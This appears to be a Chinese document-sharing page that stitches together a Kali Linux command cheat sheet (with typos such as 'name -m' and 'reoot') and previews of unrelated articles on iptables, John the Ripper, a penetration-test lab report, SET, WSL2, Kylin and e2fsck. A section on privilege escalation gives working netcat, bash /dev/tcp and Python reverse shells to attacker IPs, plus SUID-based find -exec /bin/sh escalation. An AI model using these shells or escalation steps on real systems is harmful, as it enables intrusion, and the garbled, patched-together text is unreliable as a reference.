kali-linux常用命令

系统信息

arch 显示机器的处理器架构(1)

name -m 显示机器的处理器架构(2)

name -r 显示正在使用的内核版本

dmidecode -q 显示硬件系统部件-(SMBIOS/DMI)

hdparm -i /dev/hda 罗列一个磁盘的架构特性

hdparm -tT /dev/sda 在磁盘上执行测试读取操作

cat /proc/cpuinfo 显示CPU info的信息

cat /proc/interrupts 显示中断

cat /proc/meminfo 校验内存使用

cat /proc/swaps 显示哪些swap被使用

cat /proc/version 显示内核的版本

cat /proc/net/dev 显示网络适配器及统计

cat /proc/mounts 显示已加载的文件系统

lspci -tv 罗列PCI设备 lsusb -tv 显示USB设备

date 显示系统日期

cal 2007 显示2007年的日历表

date .00 设置日期和时间-月日时分年.秒

clock -w 将时间修改保存到 BIOS

关机(系统的关机、重启以及登出)

shutdown -h now 关闭系统(1)

init 0 关闭系统(2)

telinit 0 关闭系统(3)

shutdown -h hours:minutes & 按预订时间关闭系统

shutdown -c 取消按预订时间关闭系统

shutdown -r now 重启(1)

reoot 重启(2)

logout 注销

文件和目录 cd /home 进入'/home'目录

cd .. 返回上一级目录

cd ../.. 返回上两级目录

cd 进入个人的主目录

cd ~user1 进入个人的主目录

cd - 返回上次所在的目录

pwd 显示工作路径

ls 查看目录中的文件

ls -F 查看目录中的文件

ls -l 显示文件和目录的详细资料

ls -a 显示隐藏文件

ls *[0-9]* 显示包含数字的文件名和目录名

tree 显示文件和目录由根目录开始的树形结构(1)

lstree 显卡文件和目录由根目录开始的树形结构(2)

mkdir dir1 创建一个叫做'dir1'的目录' mkdir dir1 dir2 同时创建两个目录

mkdir dir1/dir2 创建一个目录树

rm -f file1 删除一个叫'file1'的文件

rmdir dir1 删除一个叫‘dir1’的目录

rm -rf dir1 删除一个叫‘dir1’的目录并同时删除其内容

rm -rf dir1 dir2 同时删除两个目录及它们的内容

mv dir1 new_dir 重命名/移动一个目录

cp file1 file2 复制一个文件

cp dir/*. 复制一个目录下的所有文件到当前工作目录

cp -a /tmp/dir1. 复制一个目录到当前工作目录

cp -a /tmp/dir2 复制一个目录

ln -s file1 lnk1 创建一个指向文件或目录的软链接

ln file1 lnk1 创建一个指向文件或目录的物理链接

touch -t 0712250000 file1 修改一个文件或目录的时间戳-(YYMMDDhhmm) outputs the mime type of the text

iconv -l 列出已知的编码

iconv -f fromEncoding -t toEncoding input creates

a new from the given input assuming it is

encoded in fromEncoding and converting it to

toEncoding. find. -maxdepth 1 -name *.jpg -print

-exec convert"{}" -resize

80x60"thumbs/{}"\;batchresize files in the current

directory and send them to a thumbnails directory

(requires convert from I magemagick)

文件搜索

find /-name file1 从‘/’

开始进入根文件系统搜索文件和目录

find /-user user1 搜索属于用户‘user1’的文件和目录

find /home/user1 -name \*.bin 在目录‘/homi/user1’中搜索带有‘bin’结尾的文件 find /usr/bin -type f -atime +100 搜索在过去100天内未被使用过的执行文件

find /usr/bin -type f -mtime -10 搜索在10天内被创建或者修改过的文件

find /-name \*.rpm -exec chmod 755'{}'\; 搜素以‘.rpm’结尾的文件并定义其权限

find /-xdev -name \*.rpm 搜索以‘.rpm’结尾的文件,忽略光驱、键盘等可移动设备

locate \*.ps 寻找以‘.ps’结尾的文件 -先运行‘updatedb’命令

whereis halt 显示一个二进制文件、源码或man的位置

挂载一个文件系共

mount /dev/hda2/mnt/hda2 挂载一个叫hda2的盘

-确定目录‘/mnt/hda2’已经存在

umount /dev/hda2 卸载一个叫做hda2的盘 -先从挂载点‘/mnt/hda2’推出

fuser -km /mnt/da2 当前设比繁忙时强制卸载 umount -n /mnt/hda2 运行卸载操作而不写入

/etc/mtab 文件-当文件为只读或当磁盘写满时非常有用

mount /dev/fd0 /mnt/floppy 挂载一个软盘

mount /dev/cdrom /mnt/cdrom 挂载一个cdrom或dvdrom

mount /dev /hdc /mnt/cdrecorder 挂载一个cdrw

或dvdrom

mount -o loop /mnt/cdrom 挂载一个文件或ISO镜像文件

mount -t vfat /dev/hda5 /mnt/hda5 挂载一个windows FAT32文件系统

mount /dev/sda1 /mnt/usdisk 挂载一个usb捷盘或闪存设备

mount -t smbfs -o username=user,password=pass

//WinClient/share /mnt/share 挂载一个windows网路共享

磁盘空间 df -h 显示已挂载的分区列表

ls -lSr |more 以尺寸大小排列文件和目录

du -sh dir1 估算目录‘dir1’已经使用的磁盘空间

du -sk * | sort -rm 以容量大小为依据次显示文件和目录的大小

rpm -q -a --qf '%10{SIZE}n' | sort -kl,1n 以大小为依据次显示已安装的rpm包所使用的空间(fedora, redhat类系统)

dpkg-query -W

-f='${Installed-Size;10}t${Package}n' |sort -k1,1n 以大小为依据显示已安装的deb包所使用的空间(ubuntu,debian类系统)

返回顶部索引 ^

用户和群组

groupadd group_name 创建一个新用户组

groupdel group_name 删除一个用户组 groupmod -n new_group_name old_group_name

重命名一个用户组

useradd -c "Name Surname" -g admin -d

/home/user1 -s /bin/bash user1 创建一个属于“admin”用户组的用户

useradd user1 创建一个新用户

userdel -r user1 删除一个用户(‘-r’排除主目录)

usermod -c"User FTP" -g system -d /

-s/bin/nologin user1 修改用户属性

passwd 修改口令

passwd user1 修改一个用户的口令(之允许root执行)

chage -E 2005-12-31 user1 设置用户口令的失效期限

pwck 检查‘/etc/qasswd’的文件格式和语法修正以及存在的用户

grpck 检查‘/etc/pallwd’的文件格式和语法修正以及存在的群组

newgrp group_name 登录进一个新的群组以改变新 创建文件的预设群组

返回顶部索引 ^

文件的权限-使用“+”设置权限,使用“-”用于取消

ls -lh 显示权限

ls /tmp | pr -T5 -W$COLUMNS 将终端划分成5栏显示

chmod ugo+rwx directory1 设置目录的所有人(u)、群组(g)以及其他人(o)以读(r)、写(w)和执行(x)的权限

chmod go-rwx directory1 删除群组(g)与其他人(o)对目录的读写执行权限

chmown user1 file1 改变一个文件的所有人属性

chown -R user1 directory1 改变一个目录的所有让人属性并同时改变目录下所有文件的属性

chgrp group1 file1 改变文件的群组

chown user1:group1 file1 改变一个文件的所有人和群组属性

合集下载

kali删除iptables规则

kali删除iptables规则

kali删除iptables规则

介绍

在网络安全领域,Kali Linux 是一个非常流行的操作系统,它集成了众多渗透测试工具和资源,为安全专业人员提供了一个强大的平台。Kali Linux 使用了

iptables 作为防火墙工具,可以帮助用户保护他们的系统和网络免受攻击。然而,在某些情况下,我们可能需要删除一些已有的 iptables 规则。本文将详细讨论如何在 Kali Linux 中删除 iptables 规则,以及可能需要考虑的一些注意事项。

为什么需要删除 iptables 规则?

删除 iptables 规则可能有多种原因,以下是其中的一些常见情况:

1. 错误的规则:在创建 iptables 规则时,可能会出现一些错误。这些错误可能导致网络连接问题或安全漏洞。因此,删除错误的规则是确保网络和系统安全的重要一步。

2. 不再需要的规则:有时候,我们可能会为某个特定的目的创建一些临时的

iptables 规则。一旦该目的实现或不再需要这些规则时,删除它们可以保持 iptables 规则集的简洁和易读性。

3. 更改网络配置:网络环境在不断变化,我们可能需要调整网络的配置来满足新的需求。在这种情况下,删除一些旧的 iptables 规则可能是必要的。

删除 iptables 规则的方法

下面介绍了在 Kali Linux 中删除 iptables 规则的几种方法:

方法一:使用 iptables 命令

Kali Linux 默认集成了 iptables 命令作为防火墙管理工具。以下是如何使用该命令删除 iptables 规则的步骤:

1. 打开终端并以 root 用户身份登录。

2. 列出当前的 iptables 规则,确定要删除的规则的行号或标识。

3. 使用以下命令来删除特定的 iptables 规则: iptables -D [CHAIN] [RULE NUMBER/IDENTIFIER]

kali john 用法

kali john 用法

kali john 用法

Kali John是一款密码破解工具,它具有强大的字典攻击功能,可以对目标密码进行暴力破解。在网络安全领域,Kali John被广泛应用于渗透测试、数字取证等方面。下面将为大家介绍如何使用Kali

John进行密码破解。

步骤一:安装Kali Linux

要使用Kali John,首先需要在电脑上安装Kali Linux操作系统。Kali Linux是一款专门用于网络安全测试的操作系统,内置了大量的渗透测试工具,包括Kali John。可以从官网下载Kali Linux的ISO文件,然后使用制作启动盘的工具将其写入U盘或DVD光盘中。

步骤二:准备密码字典

Kali John的密码破解功能依赖于密码字典,因此需要准备一份高质量的密码字典。密码字典可以从互联网上下载,也可以自己制作。通常情况下,密码字典中应包含常用的、易于猜测的密码、生日、姓名、电话号码等信息。可以使用文本编辑器将这些信息保存为一个TXT格式的文本文件。

步骤三:运行Kali John

运行Kali Linux系统后,可以通过终端输入以下命令来启动Kali John:

john -wordlist=

其中“”为密码字典文件的路径,“”为需要破解的加密文件的路径。使用Kali John时,需要注意以下几点:

1.加密文件必须是支持的格式,如Linux密码文件、Windows密码文件、TrueCrypt容器等。

2.破解过程可能需要较长时间,取决于密码的复杂程度、密码字典的大小等因素。

3.对于复杂密码,Kali John的破解效果可能不理想,需要使用其他手段进行破解。

步骤四:等待破解结果

启动Kali John后,系统会自动加载密码字典文件并开始破解过程。可以在终端中看到破解的进度和结果。如果破解成功,系统会显示密码明文。如果破解失败,可以尝试使用其他密码字典或其他破解工具进行破解。

KaliLinuxping命令异常报错:Temporaryfailureinnameres。。。

KaliLinuxping命令异常报错:Temporaryfailureinnameres。。。

KaliLinuxping命令异常报错:Temporaryfailureinnameres。。

错误截图:我们可以看到错误原因是:Temporary failure in name resolution

查阅了⽹上很多资料,意思就是DNS解析有问题

试了⽹上给出的各种改⽂件的办法之后发现并没有什么卵⽤,于是想到之前学习《鸟哥的Linux私房菜》时,给CenOS配置⽹络时使⽤的⽅法,发现管⽤诶~

解决⽅法:

1.⿏标右键点击虚拟机右下⽅的两个⼩电脑的图标,再点击⽹络选项

2.可以看到我们现在使⽤的是⽹络地址转换NAT(就是把内⽹192.168.~.~地址转换为公⽹地址)

3.我们将连接⽅式切换为桥接⽹卡,下⾯的界⾯名称选择默认的那个即可,点击“OK”保存

4.再次使⽤ping ,完美解决!

配置补充:

看到⽹上常⽤的⽅法都是通过 vi /etc/resolv.conf添加域名服务器 或者 vi /etc/hosts 将域名与主机名对应起来,所以贴出我的这两个⽂件以供参考。/etc/hosts

/etc/resolv.conf

另外,我的主机没有⽹卡,所以我使⽤的是主机⽤usb连接安卓⼿机共享wifi⽹络,所以这个应该是解决问题的关键。

网络渗透攻击实验报告

网络渗透攻击实验报告

一、实验目的

本次实验旨在通过模拟网络渗透攻击,了解网络安全的基本概念、攻击手段和防御措施,提高对网络安全问题的认识,增强网络安全防护意识。通过实验,掌握以下内容:

1. 网络渗透攻击的基本概念和常用方法;

2. 常见网络安全漏洞及其利用方法;

3. 网络安全防护的基本措施。

二、实验环境

1. 操作系统:Windows 10

2. 虚拟机软件:VMware Workstation 15

3. 目标系统:Metasploitable2(靶机)

4. 攻击工具:Kali Linux(攻击者系统)

三、实验步骤

1. 安装虚拟机软件,创建新的虚拟机,并配置操作系统。

2. 下载并安装Metasploitable2靶机,将其设置为虚拟机。

3. 在Kali Linux系统中,配置网络,使其与Metasploitable2靶机处于同一网络环境中。

4. 使用Nmap扫描Metasploitable2靶机的开放端口,获取目标系统的信息。

5. 根据扫描结果,选择合适的攻击目标,如SSH、FTP等。

6. 利用漏洞利用工具(如Metasploit)对目标系统进行攻击,获取目标系统的控制权。

7. 在目标系统中执行任意命令,获取系统信息,尝试提权。

8. 在攻击过程中,注意观察靶机的防御措施,分析其防御效果。

9. 实验结束后,清理攻击痕迹,关闭实验环境。

四、实验结果与分析 1. 扫描结果:通过Nmap扫描,发现Metasploitable2靶机开放了22、21、80等端口,其中22端口为SSH服务,21端口为FTP服务,80端口为HTTP服务。

2. 攻击目标:选择SSH服务进行攻击,利用Metasploit中的Metasploit

Framework进行攻击。

3. 攻击过程:使用Metasploit中的msfconsole命令行工具,选择相应的攻击模块,设置攻击参数,如攻击目标IP地址、端口等。然后执行攻击命令,成功获取目标系统的控制权。

(大学霸KALI)7.3使用社会工程学工具包(SET)

(大学霸KALI)7.3使用社会工程学工具包(SET)

(⼤学霸KALI)7.3使⽤社会⼯程学⼯具包(SET)

社会⼯程学⼯具包(SET)是⼀个开源的、Python驱动的社会⼯程学渗透测试⼯具。这套⼯具包由David Kenned设计,⽽且已经成为业界部署实施社会⼯

程学攻击的标准。SET利⽤⼈们的好奇⼼、信任、贪婪及⼀些愚蠢的错误,攻击⼈们⾃⾝存在的弱点。使⽤SET可以传递攻击载荷到⽬标系统,收集⽬标

系统数据,创建持久后门,进⾏中间⼈攻击等。本节将介绍社会⼯程学⼯具包的使⽤。

7.3.1 启动社会⼯程学⼯具包

使⽤社会⼯程学⼯具包之前,需要启动该⼯具。具体操作步骤如下所⽰。

(1)启动SET。在终端执⾏如下所⽰的命令:

root@kali:~# setoolkit

或者在桌⾯上依次选择“应⽤程序”|Kali Linux|“漏洞利⽤⼯具集”|Social Engineering Toolkit|setoolkit命令,将⾃动打开⼀个显⽰setoolkit命令运⾏的终端。

执⾏以上命令后,将输出如下所⽰的信息:

[-] New set_config.py file generated on: 2014-05-06 18:05:41.766123

[-] Verifying configuration update…

[*] Update verified, config timestamp is: 2014-05-06 18:05:41.766123

[*] SET is using the new config, no need to restart

Copyright 2013, The Social-Engineer Toolkit (SET) by TrustedSec, LLC

All rights reserved.

Redistribution and use in source and binary forms, with or without modification, are permitted provided that the following conditions are met:

wsl2 常用命令

wsl2 常用命令

wsl2 常用命令

WSL2是Windows Subsystem for Linux 2的缩写,是Windows

10操作系统中的一个Linux环境,允许用户在Windows系统上运行Linux命令行工具和应用程序。下面介绍一些常用的WSL2命令。

1. wsl --list

这个命令可以列出已安装的WSL2发行版,包括官方的Ubuntu、Debian、Kali Linux等。如果没有安装任何发行版,它将返回一个空列表。

2. wsl --set-default-version 2

这个命令可以将WSL2设置为默认版本。如果您安装了多个WSL版本,您可以使用此命令将默认版本更改为2。

3. wsl --set-version 2

这个命令可以将指定的WSL发行版升级到WSL2。在运行此命令之前,请确保已将WSL2设置为默认版本。

4. wsl --terminate

这个命令可以关闭指定的WSL发行版。如果您想关闭正在运行的Linux进程,可以使用此命令。

5. wsl --shutdown

这个命令可以关闭所有正在运行的WSL发行版。在关闭Windows系统之前,建议运行此命令以确保WSL发行版已关闭。

6. wsl --export

这个命令可以将指定的WSL发行版导出到一个tar文件中。您可以使用此命令备份您的WSL发行版或将其移动到另一台计算机。

7. wsl --import

这个命令可以将导出的WSL发行版导入到WSL中。您需要指定发行版的名称、安装位置和导出的tar文件的路径。

8. wsl --user

这个命令可以更改WSL发行版的默认用户。如果您想更改默认用户,请使用此命令。

9. wsl --set-default-user

这个命令可以将指定的用户设置为WSL发行版的默认用户。如果您想更改默认用户,请使用此命令。

10. wsl --install

这个命令可以安装WSL2。在运行此命令之前,请确保已启用虚拟化和Hyper-V。

描述对kali 系统的认识

描述对kali 系统的认识

一、Kali系统的介绍

Kali系统是一种基于Debian的Linux操作系统,其主要用途是进行渗透测试和网络安全评估。它由Offensive Security团队开发,并在2013年首次发布。Kali系统内置了大量的工具,包括密码破解、漏洞扫描、网络嗅探等,可以帮助安全专业人员更好地进行安全测试和评估。

二、Kali系统的特点

1. 内置大量工具:Kali系统内置了超过600个渗透测试和安全评估工具,覆盖了密码破解、漏洞扫描、网络嗅探等多个方面。

2. 安全性高:Kali系统采用最新的安全技术和加密算法,能够保证用户数据的安全性。

3. 易于使用:Kali系统提供了友好的图形界面和命令行界面,用户可以根据自己的需要选择不同的方式进行操作。

4. 可定制性强:用户可以根据自己的需求对Kali系统进行自定义配置,添加或删除所需工具。

三、使用场景

1. 渗透测试:Kali系统是渗透测试人员常用的操作系统之一,其内置大量渗透测试工具,可以帮助渗透测试人员更好地进行测试工作。 2. 安全评估:Kali系统可以用于对网络安全进行评估,帮助企业或组织发现潜在的安全漏洞并及时修复。

3. 学习研究:Kali系统是学习网络安全和渗透测试的理想平台之一,学生和研究人员可以通过使用Kali系统来深入了解各种渗透测试和安全评估技术。

四、Kali系统的安装

1. 下载镜像文件:用户需要从官方网站下载Kali系统的镜像文件,并校验文件完整性。

2. 创建启动盘:将镜像文件写入U盘或光盘中,并设置计算机从该启动盘启动。

3. 安装系统:按照提示进行操作,选择安装方式、分区等选项,完成系统的安装。

五、常用工具介绍

1. Metasploit Framework:一款开源的漏洞利用框架,支持多种操作系统和编程语言。

2. Nmap:一款网络扫描工具,可以扫描主机端口、操作系统类型等信息。

3. Aircrack-ng:一款无线网络密码破解工具,支持WEP和WPA-PSK加密方式。

提权以及反弹shell一些方法

提权以及反弹shell⼀些⽅法

提权以及反弹shell

netcat反弹shell

kali中使⽤nc(netcat)进⾏监听 ⽤法 : nv -lvvp 2333(端⼝号)

靶机中使⽤ bash -c 'bash -i >&/dev/tcp/192.168.1.1/2333 0>&1' 同样可以写成⼀句话⽊马进⾏反弹shell。

命令提权

1、使⽤suid提权,找到⼀个属于root的具有s权限的⽂件;s是提权符

find / -user root -perm -4000 -print 2>/dev/null

find / -perm -u=s -type f 2>/dev/null

find / -user root -perm -4000 -exec ls -ldb {} \;

例如:在DC-1中,⾸先touch新建⼀个⽂件,然后执⾏

touch abcd

find abcd -exec whoami \;

find / -name abcd -exec "/bin/sh" \; #分号需要转义,find以分号结尾

具有提权功能的Linux可执⾏⽂件包括:

nmap

vim

find

bash

more

less

nano

cp

python反弹shell

#!/usr/bin/python

import os,subprocess,socket

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("攻击机IP地址","攻击机监听端⼝"))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

p=subprocess.call(["/bin/sh","-i"])

其他⼀些⽅法

#bash版本:

bash -i >& /dev/tcp/10.0.0.1/8080 0>&1

kylin linux 常用命令

kylin linux 常用命令

以下是一些在Kylin Linux中常用的命令:

1. cd:切换目录

2. pwd:显示当前目录

3. ls:列出目录内容

4. cp:复制文件或目录

5. mv:移动文件或目录

6. rm:删除文件或目录

7. mkdir:创建目录

8. rmdir:删除目录

9. touch:创建空文件

10. cat:显示文件内容

11. grep:查找文件内容

12. find:查找文件或目录

13. tail:显示文件末尾内容

14. head:显示文件开头内容

15. chmod:修改文件或目录权限

16. chown:修改文件或目录的所有者

17. chgrp:修改文件或目录的所属组

18. ps:显示当前运行的进程

19. kill:终止进程

20. top:动态显示进程状态

21. ifconfig:显示网络接口配置

22. ping:测试网络连通性

23. netstat:显示网络连接状态 24. ssh:通过安全外部登录远程主机

25. scp:安全复制文件到远程主机

26. tar:归档和解压文件

27. gzip:压缩文件

28. unzip:解压缩文件

29. make:编译软件

30. gcc:C编译器

注意:这只是一小部分常用命令清单,Kylin Linux还支持其他许多命令和功能。

浅谈Linux磁盘修复e2fsck命令

浅谈Linux磁盘修复e2fsck命令

周末竟然去加班,原因是客户那⾥有⼀台服务器不能提供服务,经过排查是突然断电后可能产⽣了磁盘坏道导致,所以使⽤e2fsck命令进⾏了磁盘修复。

linux下磁盘检查修复命令e2fsck

-a: 检查 partition,如发现问题会⾃动修复。

-b: 设定 superblock 位置。

-B size: 指定 size 作为区块⼤⼩。

-c: 检查 partition 是否有坏轨。

-C file: 将检查结果储存到 file。

-d: 输出 e2fsck debug 结果。

-f: e2fsck 预设只会对错误的档案系统检查,加上 -f 是强制检查。

-F: 在检查前将硬盘的 buffer cache 清空,避免发⽣错误。

-l list: 记录了坏轨区块加⼊ list 中。

-d : 打印 e2fsck 的 debug 结果。

-f : 强制检查。

-n: 以 (read-only) 开启档案系统

-p: 关闭互动模式,如有问题⾃动修复,等同 -a。

-v: 显⽰详细报告。

-y: 启⽤使⽤者互动模式。

使⽤例⼦

检查 /dev/mapper/VolGroup00-LogVol02 是否有问题,如发现问题便⾃动修复:

e2fsck -a /dev/mapper/VolGroup00-LogVol02

执⾏ e2fsck 或 fsck 前请先 umount partition,否则有机会令档案系统毁损。

分区忙的情况,需要将所有涉及该分区的进程杀掉,有个快速的⽅法是执⾏ fuser -k /home 。

如果需要对根⽬录 (/) 进⾏检查及修复,便需要进⼊ singal user mode 执⾏。

最后别忘了将分区mount上。

以上这篇浅谈Linux磁盘修复e2fsck命令就是⼩编分享给⼤家的全部内容了,希望能给⼤家⼀个参考,也希望⼤家多多⽀持。

  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
相关文档
最新文档